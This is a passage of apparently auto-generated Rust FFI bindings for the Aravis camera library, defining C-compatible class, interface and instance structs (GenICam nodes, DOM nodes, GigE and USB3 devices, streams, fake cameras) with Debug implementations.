pub get_representation: Option<unsafe extern "C" fn(*mut ArvGcInteger) -> ArvGcRepresentation>,
pub get_unit: Option<unsafe extern "C" fn(*mut ArvGcInteger) -> *const c_char>,
pub impose_min: Option<unsafe extern "C" fn(*mut ArvGcInteger, i64, *mut *mut glib::GError)>,
pub impose_max: Option<unsafe extern "C" fn(*mut ArvGcInteger, i64, *mut *mut glib::GError)>,
}
impl ::std::fmt::Debug for ArvGcIntegerInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntegerInterface @ {:p}", self))
.field("parent", &self.parent)
.field("get_value", &self.get_value)
.field("set_value", &self.set_value)
.field("get_min", &self.get_min)
.field("get_max", &self.get_max)
.field("get_inc", &self.get_inc)
.field("get_representation", &self.get_representation)
.field("get_unit", &self.get_unit)
.field("impose_min", &self.impose_min)
.field("impose_max", &self.impose_max)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcIntegerNodeClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcIntegerNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntegerNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcInvalidatorNodeClass {
pub parent_class: ArvGcPropertyNodeClass,
}
impl ::std::fmt::Debug for ArvGcInvalidatorNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcInvalidatorNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcMaskedIntRegNodeClass {
pub parent_class: ArvGcRegisterNodeClass,
}
impl ::std::fmt::Debug for ArvGcMaskedIntRegNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcMaskedIntRegNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcNodeClass {
pub parent_class: ArvDomElementClass,
}
impl ::std::fmt::Debug for ArvGcNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcPortClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcPortClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcPortClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcPropertyNodeClass {
pub parent_class: ArvGcNodeClass,
}
impl ::std::fmt::Debug for ArvGcPropertyNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcPropertyNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcRegisterDescriptionNodeClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcRegisterDescriptionNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcRegisterDescriptionNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcRegisterInterface {
pub parent: gobject::GTypeInterface,
pub get:
Option<unsafe extern "C" fn(*mut ArvGcRegister, *mut c_void, u64, *mut *mut glib::GError)>,
pub set:
Option<unsafe extern "C" fn(*mut ArvGcRegister, *mut c_void, u64, *mut *mut glib::GError)>,
pub get_address:
Option<unsafe extern "C" fn(*mut ArvGcRegister, *mut *mut glib::GError) -> u64>,
pub get_length: Option<unsafe extern "C" fn(*mut ArvGcRegister, *mut *mut glib::GError) -> u64>,
}
impl ::std::fmt::Debug for ArvGcRegisterInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcRegisterInterface @ {:p}", self))
.field("parent", &self.parent)
.field("get", &self.get)
.field("set", &self.set)
.field("get_address", &self.get_address)
.field("get_length", &self.get_length)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcRegisterNodeClass {
pub parent_class: ArvGcFeatureNodeClass,
pub default_cachable: ArvGcCachable,
}
impl ::std::fmt::Debug for ArvGcRegisterNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcRegisterNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("default_cachable", &self.default_cachable)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcSelectorInterface {
pub parent: gobject::GTypeInterface,
pub get_selected_features:
Option<unsafe extern "C" fn(*mut ArvGcSelector) -> *const glib::GSList>,
}
impl ::std::fmt::Debug for ArvGcSelectorInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcSelectorInterface @ {:p}", self))
.field("parent", &self.parent)
.field("get_selected_features", &self.get_selected_features)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcStringInterface {
pub parent: gobject::GTypeInterface,
pub get_value:
Option<unsafe extern "C" fn(*mut ArvGcString, *mut *mut glib::GError) -> *const c_char>,
pub set_value:
Option<unsafe extern "C" fn(*mut ArvGcString, *const c_char, *mut *mut glib::GError)>,
pub get_max_length:
Option<unsafe extern "C" fn(*mut ArvGcString, *mut *mut glib::GError) -> i64>,
}
impl ::std::fmt::Debug for ArvGcStringInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStringInterface @ {:p}", self))
.field("parent", &self.parent)
.field("get_value", &self.get_value)
.field("set_value", &self.set_value)
.field("get_max_length", &self.get_max_length)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcStringNodeClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcStringNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStringNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcStringRegNodeClass {
pub parent_class: ArvGcRegisterNodeClass,
}
impl ::std::fmt::Debug for ArvGcStringRegNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStringRegNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcStructEntryNodeClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcStructEntryNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStructEntryNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcStructRegNodeClass {
pub parent_class: ArvGcRegisterNodeClass,
}
impl ::std::fmt::Debug for ArvGcStructRegNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStructRegNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcSwissKnifeClass {
pub parent_class: ArvGcFeatureNodeClass,
}
impl ::std::fmt::Debug for ArvGcSwissKnifeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcSwissKnifeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcSwissKnifeNodeClass {
pub parent_class: ArvGcSwissKnifeClass,
}
impl ::std::fmt::Debug for ArvGcSwissKnifeNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcSwissKnifeNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcValueIndexedNodeClass {
pub parent_class: ArvGcPropertyNodeClass,
}
impl ::std::fmt::Debug for ArvGcValueIndexedNodeClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcValueIndexedNodeClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGvDeviceClass {
pub parent_class: ArvDeviceClass,
}
impl ::std::fmt::Debug for ArvGvDeviceClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGvDeviceClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGvFakeCameraClass {
pub parent_class: gobject::GObjectClass,
}
impl ::std::fmt::Debug for ArvGvFakeCameraClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGvFakeCameraClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGvInterfaceClass {
pub parent_class: ArvInterfaceClass,
}
impl ::std::fmt::Debug for ArvGvInterfaceClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGvInterfaceClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGvStreamClass {
pub parent_class: ArvStreamClass,
}
impl ::std::fmt::Debug for ArvGvStreamClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGvStreamClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvInterfaceClass {
pub parent_class: gobject::GObjectClass,
pub update_device_list: Option<unsafe extern "C" fn(*mut ArvInterface, *mut glib::GArray)>,
pub open_device: Option<
unsafe extern "C" fn(
*mut ArvInterface,
*const c_char,
*mut *mut glib::GError,
) -> *mut ArvDevice,
>,
pub protocol: *const c_char,
}
impl ::std::fmt::Debug for ArvInterfaceClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvInterfaceClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("update_device_list", &self.update_device_list)
.field("open_device", &self.open_device)
.field("protocol", &self.protocol)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvStreamClass {
pub parent_class: gobject::GObjectClass,
pub start_thread: Option<unsafe extern "C" fn(*mut ArvStream)>,
pub stop_thread: Option<unsafe extern "C" fn(*mut ArvStream)>,
pub new_buffer: Option<unsafe extern "C" fn(*mut ArvStream)>,
}
impl ::std::fmt::Debug for ArvStreamClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvStreamClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.field("start_thread", &self.start_thread)
.field("stop_thread", &self.stop_thread)
.field("new_buffer", &self.new_buffer)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvUvDeviceClass {
pub parent_class: ArvDeviceClass,
}
impl ::std::fmt::Debug for ArvUvDeviceClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvUvDeviceClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvUvInterfaceClass {
pub parent_class: ArvInterfaceClass,
}
impl ::std::fmt::Debug for ArvUvInterfaceClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvUvInterfaceClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvUvStreamClass {
pub parent_class: ArvStreamClass,
}
impl ::std::fmt::Debug for ArvUvStreamClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvUvStreamClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvXmlSchemaClass {
pub parent_class: gobject::GObjectClass,
}
impl ::std::fmt::Debug for ArvXmlSchemaClass {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvXmlSchemaClass @ {:p}", self))
.field("parent_class", &self.parent_class)
.finish()
}
}
#[repr(C)]
pub struct _ArvZip(c_void);
pub type ArvZip = *mut _ArvZip;
#[repr(C)]
pub struct _ArvZipFile(c_void);
pub type ArvZipFile = *mut _ArvZipFile;
// Classes
#[repr(C)]
pub struct ArvBuffer(c_void);
impl ::std::fmt::Debug for ArvBuffer {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvBuffer @ {:p}", self)).finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvCamera {
pub parent_instance: gobject::GObject,
}
impl ::std::fmt::Debug for ArvCamera {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvCamera @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvChunkParser(c_void);
impl ::std::fmt::Debug for ArvChunkParser {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvChunkParser @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDevice {
pub parent_instance: gobject::GObject,
}
impl ::std::fmt::Debug for ArvDevice {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDevice @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomCharacterData {
pub parent_instance: ArvDomNode,
}
impl ::std::fmt::Debug for ArvDomCharacterData {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomCharacterData @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomDocument {
pub parent_instance: ArvDomNode,
}
impl ::std::fmt::Debug for ArvDomDocument {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomDocument @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomDocumentFragment {
pub parent_instance: ArvDomNode,
}
impl ::std::fmt::Debug for ArvDomDocumentFragment {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomDocumentFragment @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomElement {
pub parent_instance: ArvDomNode,
}
impl ::std::fmt::Debug for ArvDomElement {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomElement @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomNamedNodeMap {
pub parent_instance: gobject::GObject,
}
impl ::std::fmt::Debug for ArvDomNamedNodeMap {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomNamedNodeMap @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomNode {
pub parent_instance: gobject::GObject,
}
impl ::std::fmt::Debug for ArvDomNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvDomNodeChildList(c_void);
impl ::std::fmt::Debug for ArvDomNodeChildList {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomNodeChildList @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomNodeList {
pub parent_instance: gobject::GObject,
}
impl ::std::fmt::Debug for ArvDomNodeList {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomNodeList @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvDomText {
pub parent_instance: ArvDomCharacterData,
}
impl ::std::fmt::Debug for ArvDomText {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvDomText @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvEvaluator(c_void);
impl ::std::fmt::Debug for ArvEvaluator {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvEvaluator @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvFakeCamera(c_void);
impl ::std::fmt::Debug for ArvFakeCamera {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvFakeCamera @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvFakeDevice(c_void);
impl ::std::fmt::Debug for ArvFakeDevice {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvFakeDevice @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvFakeInterface(c_void);
impl ::std::fmt::Debug for ArvFakeInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvFakeInterface @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvFakeStream(c_void);
impl ::std::fmt::Debug for ArvFakeStream {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvFakeStream @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGc(c_void);
impl ::std::fmt::Debug for ArvGc {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGc @ {:p}", self)).finish()
}
}
#[repr(C)]
pub struct ArvGcBoolean(c_void);
impl ::std::fmt::Debug for ArvGcBoolean {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcBoolean @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGcCategory(c_void);
impl ::std::fmt::Debug for ArvGcCategory {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcCategory @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGcCommand(c_void);
impl ::std::fmt::Debug for ArvGcCommand {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcCommand @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcConverter {
pub parent_instance: ArvGcFeatureNode,
}
impl ::std::fmt::Debug for ArvGcConverter {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcConverter @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcConverterNode(c_void);
impl ::std::fmt::Debug for ArvGcConverterNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcConverterNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGcEnumEntry(c_void);
impl ::std::fmt::Debug for ArvGcEnumEntry {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcEnumEntry @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGcEnumeration(c_void);
impl ::std::fmt::Debug for ArvGcEnumeration {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcEnumeration @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcFeatureNode {
pub parent_instance: ArvGcNode,
}
impl ::std::fmt::Debug for ArvGcFeatureNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcFeatureNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcFloatNode(c_void);
impl ::std::fmt::Debug for ArvGcFloatNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcFloatNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcFloatRegNode {
pub parent_instance: ArvGcRegisterNode,
}
impl ::std::fmt::Debug for ArvGcFloatRegNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcFloatRegNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcGroupNode(c_void);
impl ::std::fmt::Debug for ArvGcGroupNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcGroupNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGcIndexNode(c_void);
impl ::std::fmt::Debug for ArvGcIndexNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIndexNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGcIntConverterNode(c_void);
impl ::std::fmt::Debug for ArvGcIntConverterNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntConverterNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcIntRegNode {
pub parent_instance: ArvGcRegisterNode,
}
impl ::std::fmt::Debug for ArvGcIntRegNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntRegNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcIntSwissKnifeNode {
pub parent_instance: ArvGcSwissKnife,
}
impl ::std::fmt::Debug for ArvGcIntSwissKnifeNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntSwissKnifeNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcIntegerNode(c_void);
impl ::std::fmt::Debug for ArvGcIntegerNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcIntegerNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGcInvalidatorNode(c_void);
impl ::std::fmt::Debug for ArvGcInvalidatorNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcInvalidatorNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcMaskedIntRegNode {
pub parent_instance: ArvGcRegisterNode,
}
impl ::std::fmt::Debug for ArvGcMaskedIntRegNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcMaskedIntRegNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcNode {
pub parent_instance: ArvDomElement,
}
impl ::std::fmt::Debug for ArvGcNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcPort(c_void);
impl ::std::fmt::Debug for ArvGcPort {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcPort @ {:p}", self)).finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcPropertyNode {
pub parent_instance: ArvGcNode,
}
impl ::std::fmt::Debug for ArvGcPropertyNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcPropertyNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcRegisterDescriptionNode(c_void);
impl ::std::fmt::Debug for ArvGcRegisterDescriptionNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcRegisterDescriptionNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcRegisterNode {
pub parent_instance: ArvGcFeatureNode,
}
impl ::std::fmt::Debug for ArvGcRegisterNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcRegisterNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcStringNode(c_void);
impl ::std::fmt::Debug for ArvGcStringNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStringNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcStringRegNode {
pub parent_instance: ArvGcRegisterNode,
}
impl ::std::fmt::Debug for ArvGcStringRegNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStringRegNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcStructEntryNode(c_void);
impl ::std::fmt::Debug for ArvGcStructEntryNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStructEntryNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcStructRegNode {
pub parent_instance: ArvGcRegisterNode,
}
impl ::std::fmt::Debug for ArvGcStructRegNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcStructRegNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcSwissKnife {
pub parent_instance: ArvGcFeatureNode,
}
impl ::std::fmt::Debug for ArvGcSwissKnife {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcSwissKnife @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvGcSwissKnifeNode {
pub parent_instance: ArvGcSwissKnife,
}
impl ::std::fmt::Debug for ArvGcSwissKnifeNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcSwissKnifeNode @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvGcValueIndexedNode(c_void);
impl ::std::fmt::Debug for ArvGcValueIndexedNode {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGcValueIndexedNode @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGvDevice(c_void);
impl ::std::fmt::Debug for ArvGvDevice {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGvDevice @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGvFakeCamera(c_void);
